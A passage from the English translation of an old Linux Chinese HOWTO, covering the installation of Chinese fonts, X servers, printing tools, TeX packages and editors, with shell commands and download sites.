libdl.so.1 => /lib/libdl.so.1.7.14
libc.so.5 => /lib/libc.so.5.3.12

If your choice is CXWin 3.2, then you need the libc of version 5.2.18 or newer.

First, unzip the compressed files of gzip.

# gzip -d XF86_SVGA.gz
Duplicate the original X server as a copy as the root identification.
# cd /usr/X11R6/bin
# mv XF86_SVGA XF86_SVGA_BACKUP
Put the decompressed CXWin into the exact place and create the decent symbolic link:
# mv /tmp/XF86_SVGA /usr/X11R6/bin
# chown root.bin XF86_SVGA
# chmod 4755 XF86_SVGA
# ln -sf XF86_SVGA X

If your choice is rpm, then everything is more simple and more compact.

# rpm -Uvv XFree86-SVGA-3.3.1-1c.i386.rpm

CXWin needs the following four BIG5 fonts to work normally: taipei15, taipei16, taipeik20 and taipeik24. Install these Chinese fonts in accordance with the method of next section.

5.2 Installation of Chinese fonts

Where to get these fonts?

Maybe you have already installed some Chinese fonts; for GB fonts, you can find them out through the next way:

# xlsfonts | grep gb
-cclib-song-medium-r-normal--0-0-72-72-c-0-gb2312.1980-1
-cclib-song-medium-r-normal--16-160-72-72-c-160-gb2312.1980-1
-isas-fangsong ti-medium-r-normal--0-0-72-72-c-0-gb2312.1980-0
-isas-fangsong ti-medium-r-normal--16-160-72-72-c-160-gb2312.1980-0
-isas-song ti-medium-r-normal--0-0-72-72-c-0-gb2312.1980-0
-isas-song ti-medium-r-normal--16-160-72-72-c-160-gb2312.1980-0
-isas-song ti-medium-r-normal--24-240-72-72-c-240-gb2312.1980-0
hanzigb13fs
hanzigb13st
hanzigb16fs
hanzigb16st
hanzigb24st
The last five fonts are the previous five ones' aliases. To check the installed BIG5 fonts, using
# xlsfonts | grep big5
-kc-kai-medium-r-normal-fantizi-0-0-75-75-c-0-big5.eten.3.10-1
-kc-kai-medium-r-normal-fantizi-20-200-75-75-c-200-big5.eten.3.10-1
-kc-kai-medium-r-normal-fantizi-24-240-75-75-c-240-big5.eten.3.10-1
-kc-ming-medium-r-normal-fantizi-0-0-75-75-c-0-big5.eten.3.10-1
-kc-ming-medium-r-normal-fantizi-15-150-75-75-c-160-big5.eten.3.10-1
-kc-ming-medium-r-normal-fantizi-24-240-75-75-c-240-big5.eten.3.10-1
-uw-ming-medium-r-normal-fantizi-0-0-75-75-c-0-big5.eten.3.10-1
-uw-ming-medium-r-normal-fantizi-16-160-75-75-c-160-big5.eten.3.10-1
-uw-ming-medium-r-normal-fantizi-20-200-75-75-c-200-big5.eten.3.10-1
-uw-songti-medium-r-normal-fantizi-0-0-75-75-c-0-big5.eten.3.10-1
-uw-songti-medium-r-normal-fantizi-20-200-75-75-c-200-big5.eten.3.10-1
-uw-songti-medium-r-normal-fantizi-24-240-75-75-c-240-big5.eten.3.10-1
You can take all of it from this ftp site ftp://ftp.ifcss.org/pub/software/fonts/ if you haven't installed any of them or if you want more of them. The gb/bdf/ amongst them is a GB font while the big5/bdf is a BIG5 font.

Installation of X fonts

Assuming that you have already got a BIG5 font, eb5-24k2.bdf.gz, and a GB font, gb24st.bdf.gz. What you have to do first is that changing them into the format of .pcf.

# gzip -cd eb5-24k2.bdf.gz | bdftopcf -t > eb5-24k2.pcf
# gzip -cd gb24st.bdf.gz | bdftopcf -t > gb24st.pcf
# compress *.pcf
Then install them under /usr/X11R6/lib/X11/fonts/misc
# mv *.pcf.Z /usr/X11R6/lib/X11/fonts/misc/
# cd /usr/X11R6/lib/X11/fonts/misc
# mkfontdir .
Now it should contain the following two lines in fonts.dir:
eb5-24k2.pcf.Z -kc-kai-medium-r-normal-fantizi-24-240-75-75-c-240-big5.eten.3.10-1
gb24st.pcf.Z -isas-song ti-medium-r-normal--24-240-72-72-c-240-gb2312.1980-0
You can create other aliases for these fonts for the advantages of saving typing time when using Chinese softwares. Add the two lines in fonts.alias,
gb24st    "-isas-song ti-medium-r-normal--24-240-72-72-c-240-gb2312.1980-0"
taipeik24 "-kc-kai-medium-r-normal-fantizi-24-240-75-75-c-240-big5.eten.3.10-1"
Next, tell X Server to reload these fonts,
# xset fp rehash
If everything is fine, you can use the new fonts now:
# cxterm -GB -fn 12x24 -fh gb24st &

You can put these fonts into another directory, too, for instance, /usr/X11R6/lib/X11/fonts/chinese. If this works, you have to add this line /etc/XF86Config to the Section "Files",

    FontPath    "/usr/X11R6/lib/X11/fonts/chinese/"

So, when you start X next time, you can use these fonts without any problems.

Transformations from other fonts to X fonts

There is a TTF2BDF program, written by lwj, can let you transform the TTF fonts of Windows into BDF fonts. You can get it from here below:

ftp://linux.cis.nctu.edu.tw/packages/chinese/TTF2BDF.EXE
This is a Win32 program, thus you must execute it on Windows 95 or NT.

Next step is that change BDF into PCF, then you can use it under X. (You can use BDF directly under X; but that BDF carried with bigger sizes means PCF will be a better choice though.)

# bdftopcf -t < ming.bdf > ming.pcf

You may change HBF into BDF and PCF fonts, too. Here is the ftp site for the utility of transformation.

ftp://ftp.ifcss.org/pub/software/fonts/utils/hbf.tar.gz

# hbftobdf ccfs24.hbf > ccfs24.bdf
# bdftopcf -t < ccfs24.bdf > ccfs24.pcf

Other nice font conversion programs are available at:

ftp://crl.nmsu.edu/CLR/multiling/General/ttf2bdf-1.8-ELF.tar.gz
ftp://crl.nmsu.edu/CLR/multiling/General/xmbdfed-3.0.tar.gz

5.3 TaBE & B5LE

TaBE and B5LE(Big5 Locale Environment) are projects both based on locale for solving the Chinese ability under X. If we can finish them, then the problems coming with Chinese I/O under X can be resolved thoroughly.

The TaBE author, shawn, has been taken for the military service in Taiwan, and the homepage of TaBE had been removed either(so awfully?), so this project has been dead from that time.

Author of B5LE is Thinker < Thinker.bbs@bbs.yzu.edu.tw>. However, the major platform is FreeBSD , though. If someone install B5LE successfully on Linux platform, please let me know about it. The concerned homepage is listed as follows:

http://ftp-cnpa.yzit.edu.tw/~thinker/B5LE/


Linux Chinese HOWTO English Version: Printing for Chinese

 Next Previous Contents

6. Printing for Chinese

This section will teach you how to print Chinese documents, but without the demonstrations of how to set up your printer; that you have to make it all ready by yourself. Tools introduced in this section are all for transformations to PostScript format; hence, you need to set your printer up in order to print PostScript files. If your printer doesn't support PostScript directly, you can install ghostscript instead. Please refer to Printing HOWTO.

6.1 cnprint

cnprint is a printing tool for the purpose of changing Chinese text files into PostScript format, of which commands are the same as the standard ones. It supports GB, HZ, and BIG5 codes simultaneously.

Where to get it?

Download it from ftp://ftp.ifcss.org/pub/software/unix/print, of which name is cnprint280.tar.gz.

Setting up cnprint

cnprint280.tar.gz contains only five files.

# ls
cnprint.1          cnprint.cmd        cnprint280.README
cnprint.c          cnprint.help
Compile it through this way below:
# gcc cnprint.c -o cnprint
# mv cnprint /usr/local/bin
# mv cnprint.1 /usr/local/man/man1

Installing HBF fonts

HBF fonts includes both description files and fonts files. A .hbf is the header file describing fonts, with a texture of plain text, recording the file names of its fonts files. Both of two files must be installed yourself. You can find them at ftp://ftp.ifcss.org/pub/software/fonts/.

If you want to use ccfs24.hbf, for example, which is a sort of simplified Sung-imitated style font, you must obtain these three following files: ccfs24.hbf, cclib.n24 and ccsym.24. In the ifcss fonts directory, 00index.txt lists all HBF fonts' filenames. Establish a specific directory to store HBF fonts, just like /usr/local/lib/chinese/HBF/, for instance. Put all HBF description files and fonts files you've got together under this directory, then export the complete directory pathname for HBF out of environmental variables.

# export HBFPATH="/usr/local/lib/chinese/HBF/"

This file cnprint.cmd contains some default values for cnprint, that you have to fix them up to point to the HBF fonts you have installed, and then export it to $HBFPATH.

# cp cnprint.cmd $HBFPATH
Now, you can use ``cnprint -w FILENAME'' to change Chinese text files into PostScript files well. For more information in detail, take a look at man cnprint yourself.

Code Transformation

The cnprint 2.80 has been added a great deal of splendid abilities such as transformations amongst various code formats, for example, BIG5 <=> GB <=> HZ. For BIG5 <=> GB, you need another tabulation for installing, though, which can be found from this following site:

ftp://ftp.ifcss.org/pub/software/unix/convert/hc.tab
Put it under the fonts directory of HBF, and modify cnprint.cmd, adding this
DEFAULT_GBB5_TABLEFILE: /usr/local/lib/chinese/HBF/hc.tab

Not only, for BIG5 into GB codes, can the transformation of cnprint 2.80 against words to words be done, but also the work against phases to phases. However, cnprint itself didn't offer the dictionary for transformations, that means that you have to create a dictionary yourself if you need one. Please refer to man cnprint for more details.

6.2 ps2cps

The purpose of this small program is to make PostScript files, which could not pork Chinese out to output devices, available for Chinese output. For example, when Netscape is printing files, it will transport files into PostScript formats first; however, the outputs of PostScript won't load Chinese fonts so that the original parts of Chinese words will become disturbed codes to output. This program can read PostScript in, and replace the disturbed codes with corresponding words; afterwards pork the results out to the standard output devices, which the output data can send to the printer that can print PostScript documents.

Pick ps2cps up from this site:

ftp://linux.cis.nctu.edu.tw/packages/chinese/misc/ps2cps-0.1.tgz

Untar and unzip this file, and modify Makefile according to your demands:

    BINPATH    : Installing pathname for binary ps2cps
    PS2CPSPATH : Resources files' pathname for PS2CPS
    PS2CPSRC   : Filename of resources files for PS2CPS

Next step is make all install.

You have to install HBF Chinese fonts first according to the previous section, and then modify your ps2cpsrc file:

    HBF_PATH:      Define the directory pathname of HBF fonts
    HBF_NAME:      Define filenames of HBF fonts(NOT including pathname)
    CH_WORD_SHIFT: Define shift of Chinese fonts
The last item is used for adjustment of Chinese fonts' locations. Some Chinese fonts and the original English fonts may probably not locate on the same horizontal level line, so you can set this variable, of which numeric values ranging from -1.0 to +1.0, activated to adjust it up or down.

So, you can use that examples made from the founder to do some tests:

# ps2cps thhsieh.ps > c-thhsieh.ps
Use ghostview to see whether you can see Chinese words or not.

However, this program is still under beta, there are so many problems waitting for resolving. If you have any questions or recommendations, you can send messages to the author directly: Tung-Han Hsieh < thhsieh@twclx.phys.ntu.edu.tw>.

6.3 bg2ps

This is another program which can transform BIG5-based Chinese files into PostScript available for printing(the same as cnprint). But because it uses the TrueType fonts, the output is more beautiful than others. In addition, it has a script which can transform PostScript out of Netscape into Chinese. The author is Chen-Shan Chin < cschin@u.washington.edu>.

Get this software from this web site:

http://weber.u.washington.edu/~cschin/bg2ps/

Installing bg2ps

Decompress and compile it:

# mkdir bg2ps
# cd bg2ps
# tar xzvf bg5ps.tgz
# gcc -O2 ttf2psm.c -o ttf2psm

Install TrueType fonts next. You can install it under the same directory of bg2ps or can assign another directory for use. Refer to Installing TTF fonts for more explanations. Then create a .bg5ps.conf under the directory, and you can pick directly up the sample file coming with this program to modify. The most important is to assign the directory where you installed the TrueType fonts to chineseFontPath, and rename the content of fontName to the fonts name you used.

Test the sample coming with it, and view the output as ghostview or gv.

# ./bg5ps -if test.big5 -of test.ps
# ghostview test.ps

Installing nps2cps

The nps2cps has no extra configuration files. You need to modify yourself chineseFontPath and fontName in nps2cps script.

Test nps2cps:

# nps2cps < netscape.ps > test.ps
# ghostview test.ps

6.4 gb2ps

The gb2ps program is another tool for printing GB and HZ codes.

How to get gb2ps?

Package:

gb2ps.2.02.tar.gz
ftp://ftp.ifcss.org/pub/software/unix/print
Fonts:

csong24.ccf     ckai24.ccf
cfang24.ccf     chei24.ccf
ftp://ftp.ifcss.org/pub/software/fonts/gb/misc/
Put the fonts under certain self-established directory, just like /usr/local/lib/chinese/CFONT.

Installing gb2ps

Change the settings in Makefile before compiling gb2ps.

CFONT=/usr/local/lib/chinese/CFONT/
COVERPAGE=/usr/local/lib/chinese/lib/cover.ps
Then type these commands and hit return key,
# make
# cp gb2ps /usr/local/bin


Linux Chinese HOWTO English Version: Chinese Printing Softwares

 Next Previous Contents

7. Chinese Printing Softwares

7.1 LaTeX + CJK

TeX/LaTeX is a set of printing softwares, of which excellent and elegant output quality have been admiring and adopting out of the academic circles for several years. The CJK is a LaTeX2e macro package, which can let you use CJK (Chinese/Japanese /Korean) literal codes in TeX documents.

You need install TeX/LaTeX first on your Linux system; many Linux distributions have been included teTeX/LaTeX already. If haven't, you could install it by yourself. Please link to teTeX HOWTO for more information.

Getting this software

Obtain CJK 4.1.3 from this site:

ftp://nctuccca.edu.tw/Chinese/ifcss/software/tex/CJK-4.1.3.src.tar.gz

Bring the demanded TTF fonts home:

ftp://nctuccca.edu.tw/Chinese/ifcss/software/fonts/big5/ms-win/

Installation

You must have an clear ideal about the teTeX/LaTeX installing directory, $TEXMF, for example, /usr/lib/texmf. And I assume that you will use the ntu_kai.ttf font; if doesn't, make a change to match it.

  • Put the downloaded fonts, after decompression, into the $TEXMF/fonts/truetype/chinese.
  • Unzip and untar CJK-4.1.3.src.tar.gz, and mv the sub-directory texinput to $TEXMF/tex/latex, and rename it to CJK, and create the fonts directory.
    # cd 4_1.3/; mv ./texinput $TEXMF/tex/latex/CJK
# mkdir -p $TEXMF/fonts/tfm/chinese/ntukai
# mkdir $TEXMF/ttf2pk
# mkdir $TEXMF/hbf2gf
  • To come immediately, it will probably be the most difficult step. You need to invoke patch command to append *.diff under 4_1.3/doc/teTeX upon these following files:
      /usr/bin/MakeTeX*
  $TEXMF/web2c/texmf.cnf
  $TEXMF/fontname/special.map
    For instance:
    # cd /usr/bin
# patch -s < 4_1.3/doc/teTeX/MakeTeXPK.diff
    According to the enormous TeX versions, your action with patch may fail perhaps. If so, you need to do it manually by yourself to patch these parts of failure( the portions of failure will record in .rej). If you don't understand the theory of patch well, you had better get someone experienced to help you.
  • Compiling and installing bg5conv
    # cd 4_1.3/utils/Bg5conv; gcc -o bg5conv bg5conv.c
# chmod 755 bg5latex
# cp bg5conv bg5latex /usr/local/bin/
# gzip bg5conv.1; cp bg5conv.1.gz /usr/local/man/man1/
    Because there are some codes in BIG5 TeX documents may contain {, }, & and so forth, which are the specific tokens to TeX , the bg5conv can change this codes into certain format that can let TeX manipulate.
  • Compile and install ttf2pk, which can change TrueType fonts into TeX's pk fonts.
    # cd 4_1.3/utils/ttf2pk/src
# make all OS=unix
# cp ttf2pk /usr/local/bin/
# cd ..
# cp config/ttf2pk.cfg  $TEXMF/ttf2pk/
# gzip ttf2pk.1; cp ttf2pk.1.gz /usr/local/man/man1/
# cp c00kai.fd $TEXMF/tex/latex/CJK/Bg5/
# cp MakeTTFPK /usr/local/bin
  • If you want to print documents vertically, you have to edit a c00kair.fd file under $TEXMF/tex/latex/CJK/Bg5/:
    \def\fileversion{4.1.0}
\def\filedate{1996/11/20}
\ProvidesFile{c00kair.fd}[\filedate\space\fileversion]

% traditional Chinese characters in Big 5 encoding scheme.

% font shape: kai
% ntu_kai.ttf is Kai3 Shu1 (&quotmodel book")

\DeclareFontFamily{C00}{kair}{}

\DeclareFontShape{C00}{kair}{m}{n}{<-> CJK * ntukar}{}
\DeclareFontShape{C00}{kair}{bx}{n}{<-> CJKb * ntukar}{\CJKbold}

\endinput
  • Execute texconfig:
    # texconfig rehash
# texconfig hyphen

Tests

  • Horizontal printing tests:
    # cd 4_1.3/examples
# bg5latex Big5.tex          (See if there is a Big5.dvi appeared ?)
# xdvi Big5.dvi              (Can you see Chinese? Of course, in X mode)
# dvips Big5.dvi -o Big5.ps  (Change to PostScript format)
# ghostview Big5.ps          (View it as ghostview)
# lpr Big5.ps                (Send it to printers, see if there are Chinese printed.)
  • Vertical printing tests: You can use the Big5vert.tex file under examples to repeat those previous procedures.

Adding New Fonts

For example, if you want to change to the Ming style font ntu_mm.ttf, then

  • put your TrueType fonts under $TEXMF/fonts/truetype/chinese.
  • And then add the two lines in $TEXMF/ttf2pk/ttf2pk.cfg:
    ntumm:  -e Big5 $TEXMF/fonts/truetype/chinese/ntu_mm.ttf
ntummr: -r 1 -e Big5 $TEXMF/fonts/truetype/chinese/ntu_mm.ttf
  • Create the c00ming.fd file:
    # cd 4_1.3/utils/ttf2pk
# cp c00ming.fd $TEXMF/tex/latex/CJK/Bg5/
  • Execute the texconfig again.
  • Change kai to ming in file 4_1.3/examples/Big5.tex, and then repeat this steps, bg5latex, xdvi, dvips and so on, to see if the results correct or not.
  • If you want to print files vertically, redo this section's installation and create the c00mingr.fd file listed as follows, and then change kair to mingr in Big5vert.tex file, and repeat tests processes.
    \def\fileversion{4.1.0}
\def\filedate{1996/11/20}
\ProvidesFile{c00kair.fd}[\filedate\space\fileversion]

\DeclareFontFamily{C00}{mingr}{}

\DeclareFontShape{C00}{mingr}{m}{n}{<-> CJK * ntummr}{}
\DeclareFontShape{C00}{mingr}{bx}{n}{<-> CJKb * ntummr}{\CJKbold}

\endinput

Creating CJK Documents

The dominant difference between Chinese CJK TeX documents and general LaTeX ones is that:

  • There should exist the \usepackage{CJK} command in the preamble (\documentclass to \begin{document}¡^section, that means you must have CJK.sty loaded.
  • Chinese words must be under the circumstances of CJK or CJK*.
  • If you want to change fonts, you can use \CJKfamily command, for example, the command \CJKfamily{fs} will change the following fonts as Song-imitated fonts( Certainly, the fs fonts' name must be defined in c00fs.fd).
This is a demonstration for CJK document:
  \documentclass[12pt]{article}
  \usepackage{CJK}
  \begin{document}
    \begin{CJK*}{Bg5}{kai}

      \section{first section}
      \section{second section}
      Paragraphs, sections, pictures, tables, references and so forth...
      ...

    \end{CJK*}
  \end{document}

7.2 ChiTeX

Developed by professor Chen Hung-Yih < yih@math.ncu.edu.tw>. Operations with the ChiTeX are easy enough just like the English TeX, apart from some special instructions.

Obatining it

From here, you can find its vestige:

ftp://dongpo.math.ncu.edu.tw/tex-archive/local/chitex/chitex/Linux/

Installing

You should know what's the version of TeX installed on your Linux.. On older system, the installed one usually is NTeX while on newer one, it will be always teTeX . How to tell which TeX you've installed, teTeX or NTeX, on your Linux System. Just run the TeX. If the monitor appears

This is TeX, Version 3.14159
, then it is teTeX. Otherwise,
This is TeX, Version 3.1415N
It is NTeX. Download the exact ChiTeX corresponding to your version of TeX.

It is simple to install ChiTeX. Just put chitex60.tgz(teTeX) or chitexN.tgz(NTeX) and fonts1.tgz, fonts2.tgz under /usr/local. And decompress chitex60.tgz to execute setup program csetup.

# tar zxvf chitex60.tgz
# cd chitex60
# ./csetup

If you are using Red Hat 5.0, you may install the rpm package I made:

ftp://ftp.phys.ntu.edu.tw/pub/os/linux/rpm/chitex-6.0.7-1.i386.rpm

Installing fonts

You can install Chinese TrueType fonts for ChiTeX.

  • Put TrueType fonts under $TEXMF/fonts/chinese/ttf.
  • Modify $TEXMF/tex/chinese/chitex.fdf, and add a new line:
    \choosechfont{fontname}{filename}
    In it, the filename is the fonts' names erased the .ttf part, and \fontname is the macro that you can use for this font in your document. For example, if you want to use a font named avntmv.ttf, put a line \choosechfont{ming}{avntmv}, and use the macro \ming to use the font avntmv.ttf.
  • In chitex.fdf, there were several fonts defined; thus, if you want to install these fonts, you don't have to change chitex.fdf any more.
     \kai    ---->  ntukai.ttf
 \li     ---->  ntuli.ttf
 \mr     ---->  ntumr.ttf
 \fs     ---->  ntufs.ttf

Tests

Now, you can take the samples enclosed with ChiTeX to test:

# chilatex math2.tex        (Compiling)
# xdvi math2                (pre-viewing)
# dvips math2               (Changing to PostScript file)
# ghostview math2.ps        (Using ghostview to view the output)

You can also write a small document to test the new installed fonts:

\documentclass[12pt]{article}
\begin{document}
\ming
   This is a test(You should type these words in Chinese).
\end{document}

For more information, please refer to the homepage of professor Chen.

http://www.math.ncu.edu.tw/yih/intro.htm

7.3 Dtop

The Dtop is a Chinese printing software for the UNIX platform, developed by the Behavior Design Corporation. In early November, 1995, it released the version of v1.4, which was composite of five various platforms, simultaneously. The Linux beta version provided the users with a trial of free and endless expiration, which has created another nice Chinese environment for Linux fans. However, the formal version is late for publishing until now due to the tiny scope of business market. It seems that this had been ceased to develop.

How to Get it?

The beta version of Dtop for Linux can download from each school's ftp site:

  • ftp://nctuccca.edu.tw/Chinese/ifcss/software/linux/X11R6/dtop1.4/pub/
  • ftp://ftp.ntu.edu.tw/Chinese/ifcss/software/linux/X11R6/dtop1.4/pub/
  • ftp://ftp.ccu.edu.tw/pub3/chinese/linux/X11R6/dtop1.4/pub/
  • ftp://ftp.ncu.edu.tw/OS/linux/X/ifcss/X11R6/dtop1.4/pub/
  • ftp://ftp.ifcss.org/pub/software/linux/X11R6/dtop1.4/pub/

There are three sub-directories saying respectively,

dtop.linux

Storage for binary files and data files of Dtop, which can divide into three major files. After decompressing all files, the disk space demanded is about 40MB.

dtop.readme

Storage for related documents of Dtop, which are stored as the file format defined by Dtop. Users can read this papers through this beta version directly.

dtop.manual

Storage of references for X version of Dtop, which are stored as the file format defined by Dtop. The X version can access through Linux, IBM AIX, HP-UX, Sun 4.1.x, and Solaris directly.

Installing

The hardware required is something like this: CPU 486 DX-33 or later, RAM 16MB or larger, 50MB disk space or so. If there is no enough memory on your system, you will get nuts someday.

Decompress all the files under dtop.linux to a self-selected directory, for example, /usr/local/dtop.

Before implementing it, you must first set environment variable $DTOPHOME, which is the directory that preparing to install Dtop. The $DTOPTMP is a temporary directory for Dtop, which is usually /tmp. The XAPPLRESDIR is the directory for resources files of Dtop, which is set at $DTOPHOME/user .

# export DTOPHOME=/usr/local/dtop
# export DTOPTMP=/tmp
# export XAPPLRESDIR=DTOPHOME/user

You need to set the Chinese fonts directory used by Dtop.

# xset fp+ $DTOPHOME/pcf.chn

Finally, you have to configure the Keysym matching table caused by the matching between Keysym and Keycode under X different from workstations. The Keysyms of BackSpace and Delete, for example, are all matching to the same Keycode under X, regarding the behavior of BackSpace as the Delete's in reality . To solve this problem, the Dtop creates a Keysym file, locating under $DTOPHOME/user of which filename is dtop_keysym.linux. After starting X, invoke the command,

# xmodmap dtop_keysym.linux

Another solution is that invoke commands directly on shell:

# xmodmap -e "keycode 22 = BackSpace"
# xmodmap -e "keycode 107 = Delete"

When everything is ready, you can execute Dtop.

# $DTOPHOME/bin/dtop14

You may read all the on-line references enclosed in Dtop for more detailed introductions.

7.4 ChinesePower

The ChinesePower is a Far-East Editor running under X, which is easy and classified as WYSIWYG. It supports BIG5, GB, Japanese and Korean mixed inputs, and the printing and displaying PostScript format. It can generate GIF graphics of seven colors for documents, which is adequate for Chinese homepages. ChinesePower uses HBF or TTF fonts.

You can get it from,

ftp://ftp.ifcss.org/pub/software/x-win/editor/chpower-2.0.tar.gz

To compile Chinese Power, you will need HBF fonts and Motif libraries. At first, modify Makefile to fit your system, then

# make
After making step, it will generate binary executable files. Then export environment variables:
# export HBFPATH=/usr/local/lib/chinese/HBF/
# export TTFPATH=/usr/local/lib/chinese/TTF/
# export HZINPUTDIR=/usr/local/lib/chinese/dict/
# export CHPOWERPATH=path_of_chinesepower

7.5 EasyFlow

This is developed by wycc < wycc@iis.sinica.edu.tw> , which can make simple printing for Chinese documents. Relative information is locating at

http://formosa.iis.sinica.edu.tw/~wycc/


Linux Chinese HOWTO English Version: Useful Chinese Softwares

 Next Previous Contents

8. Useful Chinese Softwares

8.1 cjoe - Joe's Own Chinese Editor

JOE is a free and professional ASCII codes' editor operated on UNIX platform, which is just like other text editors on IBM PC. To use Chinese in JOE, you have to modify .joerc under your home directory. Refer to the homepage for details:

http://www.neto.net/~bv1al/linux/cjoe.html

CJOE is a Chinese version of JOE. Get it from here below:

ftp://ftp.ifcss.org/pub/software/unix/editor/cjoe-2.8.tgz

It is very simple to compile and install. Unless you want to change locations of binary or man page files, or just follows the steps below:

# make
# make install

8.2 celvis

Celvis is a vi/ex-like editor on UNIX, which is almost supporting all instructions that vi/ex has. You can edit articles including Chinese and English by using Celvis. Simultaneously, it also supports GB2312-80 and BIG5 codes.

You can get it from here below,

ftp://ftp.ifcss.org/pub/software/unix/editor/celvis-1.3.tar.gz

Decompress it,

# tar zxvf celvis-1.3.tar.gz
# cd celvis
You need to change tmp.c, erasing 93-95 lines.
#if OS9
                  if we don't have write permission...
#endif
Then you can continue to compile it.
# cp Makefile.s5 Makefile
# make install
Because its Makefile is not for Linux particularly, you may see many warning message while compiling and linking; however, don't mention it, just keep it away. After it is done, the celvis will be installed under /usr/local/bin.

8.3 cvim

cvim is a Chinese patch program out of vim-4.2, including some features like vi but has no track in celvis-1.3, such as line number, circling lines and large files' editions. You can take vim-4.2-Chinese-patch and vim-4.2.tar.gz: from here,

ftp://ftp.csie.nctu.edu.tw/pub/Unix/Chinese/cvim
Untar and unzip following the steps below:
# tar -xvzf vim-4.2.tar.gz
# cd vim-4.2/src
# patch < ../../vim-4.2-Chinese-patch

Change vim-4.2/src/feature.h to fit your requires. It is simple to compile and install, that is,

# make
# make install

8.4 he

he was a famous editor on DOS, and is a diversion of Linux version. But this is a shareware program, limited with a hundred lines' edition.

Obtain it from here,

ftp://linux.cis.nctu.edu.tw/packages/he_linux/he_linux.tar.Z

Login as root,

# cd /
# decompress he_linux.tar.Z
# tar xvf he_linux.tar

Refer to /usr/lib/he/notes2.2, /usr/lib/he/chap15 and /usr/lib/he/appendix for more simple illustrations.

8.5 hztty

Hztty can make transformations among various Chinese codes. Decompress hztty-2.0.tar.gz first.

# tar -xvzf hztty-2.0.tar.gz
# cd hztty-2.0
# make linux
After compilation, move the binary file hztty to the directory bin, and move man pages to the directory man.
# mv hztty /usr/local/bin
# chmod 555 /usr/local/bin/hztty
# cp hztty.1 /usr/local/man/man1
# chmod 444 /usr/local/man/man1/hztty.1
Please refer to the on-line manual of hztty to use it.

8.6 ktty

This is another tool, like hztty, using for reading Chinese on kterm or pxvt. Get it at this site:

ftp://ftp.ifcss.org/pub/software/unix/convert/ktty1.3.tar.gz

However, it cannot be compiled on Linux, that you need use the ``tty.c'' in hztty-2.0.tar.gz and add the two lines to it.

linux:
      ${MAKE} ${MFLAGS} DEFINES='-DPOSIX -DSYSV -DUSE_SYSV_UTMP' ${PROG}
Then, you can make it work.
# make linux

8.7 Cemacs and CChelp For Emacs

Cemacs, using the GNU Emacs to show and edit Chinese files, has to run Emacs under Chinese virtual terminals while CCHELP is a system of providing Chinese assistant messages. After installed CCHELP, you can slip mouse to any Chinese word and click it without loosing, then there coming out with the messages about that word , including its pronunciation, English explanation and so forth. It supports both GB and BIG5 codes.

You can get them from this site:

ftp://ftp.math.psu.edu/pub/simpson/chinese/

Install cemacs and cchelp in accordance with the README file.

8.8 Mule

The MULE is an abbreviation of MULtilingual Enhancement to GNU Emacs. In simplicity, it adds some materials to GNU Emacs to make it dealing with multi-languages(encoding systems). It encodes the encoding system of multi bytes again in its inner mechanism; hence, a piece of paper can simultaneously use Chinese(BIG5 and GB), Japanese, Korean, English, Thai, and so on.

Obtaining Mule-2.3 and patch for Linux

You can get mule-2.3.tar.gz and patch mule-2.3+lx.diff.gz for Linux:

ftp://sunsite.unc.edu/pub/Linux/distributions/je/sources/mule/

If your system is Red Hat Linux, you can take mule-2.3-1.i386.rpm, mule-common-2.3-1.i386.rpm and mule-elispsrc-2.3-1.i386.rpm:

ftp://sunsite.unc.edu/pub/Linux/distributions/redhat/contrib/contrib-2.0.x/RPMS/

Compiling and Installation

Decompress packed files and add the patch in.

# tar -xvzf mule-2.3.tar.gz
# patch < mule-2.3+lx.diff
# cd mule-2.3/
# ./configure "i386-*-linux" --with-x11 --with-x-toolkit --with-gcc
If you want to rectify the out-looking of mule to fit your taste, read INSTALL file, please. And run ``./configure --help''. Then, correct ``src/Makefile'', changing ``-lcurses'' to ``-lncurses''. Then,
# make
# make install
Default installing directory is /usr/local.

Using Chinese in Mule-2.3

If you have already installed fonts, you can use mule to enter and show Chinese. Most fonts are 16 or 24 points, so you can:

# mule -fn 8x16 &
or
# mule -fn 12x24 &
According to M-x load-library RETURN chinese RETURN . ``Ctrl-]'' to shift inputs.

8.9 hc

This is a program of conversion for BIG5 and GB codes. Get it at this site:

ftp://ftp.ifcss.org/pub/software/unix/convert/hc-30.tar.gz
Decompress and install it:
# tar zxvf hc-30.tar.gz
# cd hc3
# make
# mv hc /usr/local/bin
# mv hc.tab /usr/local/lib/chinese
# mv hc.1 /usr/local/man/man1

For converting GB into BIG5 , using

hc -m g2b -t /usr/local/lib/chinese/hc.tab < INPUT_FILE > OUTPUT_FILE

For exchanging BIG5 into GB, using

hc -m b2g -t /usr/local/lib/chinese/hc.tab < INPUT_FILE > OUTPUT_FILE

You can write a shell script to simplify that instructions.

8.10 ctin

The ctin a news reader of all complete Chinese messages. Get it from here,

ftp://linux.cis.nctu.edu.tw/packages/chinese/ctin/ctin-970625.src.bin.tgz

Set environment variables $NNTPSERVER first to export to the news server that you want to link before executing ctin.

# export NNTPSERVER=netnews.ntu.edu.tw
Then run tin.

8.11 Some Other Toys

You can find several small tools capable of showing Chinese, such as cuptime, cw, cless, cwrite, cytalk, and so forth.

ftp://ftp.vit.edu.tw/unix/linux/chinese/


Linux Chinese HOWTO English Version: Related Chinese Problems with Others

 Next Previous Contents

9. Related Chinese Problems with Others

9.1 Netscape Navigator

Netscape 2.0 or later support both BIG5 and GB codes, which have already discussed on several homepages. To display Chinese in Netscape, there are three steps:

  1. Install Chinese fonts of X. Refer to the section Installing Chinese Fonts .
  2. Run netscape, and configure Document Encoding as Traditional Chinese (Big5) or Simplified Chinese.
    • In Netscape 2.x or 3.x, this will configure at Options/Document Encoding/....
    • In Netscape Communicator 4.x, configure it at View/Encoding/....
  3. Select the Chinese fonts you want.
    • In Netscape 2.x, 3.x, configure it at Options/General Preferences/Fonts.
    • In Netscape Communicator 4.x, configure it at Edit/Preferences.../Appearance/Fonts.
Maybe you will feel so strange that why you can only use Fixed(HKU) Size 16.0, which is causing from the settings in /usr/X11R6/lib/X11/app-defaults/Netscape. Assuming that you have the following BIG5 fonts:
# xlsfonts | grep big5
-hku-fixed-medium-r-normal--0-0-72-72-c-0-big5.hku-0
-hku-fixed-medium-r-normal--16-160-72-72-c-160-big5.hku-0
-kc-kai-medium-r-normal-fantizi-0-0-75-75-c-0-big5.eten.3.10-1
-kc-kai-medium-r-normal-fantizi-20-200-75-75-c-200-big5.eten.3.10-1
-kc-kai-medium-r-normal-fantizi-24-240-75-75-c-240-big5.eten.3.10-1
-kc-ming-medium-r-normal-fantizi-0-0-75-75-c-0-big5.eten.3.10-1
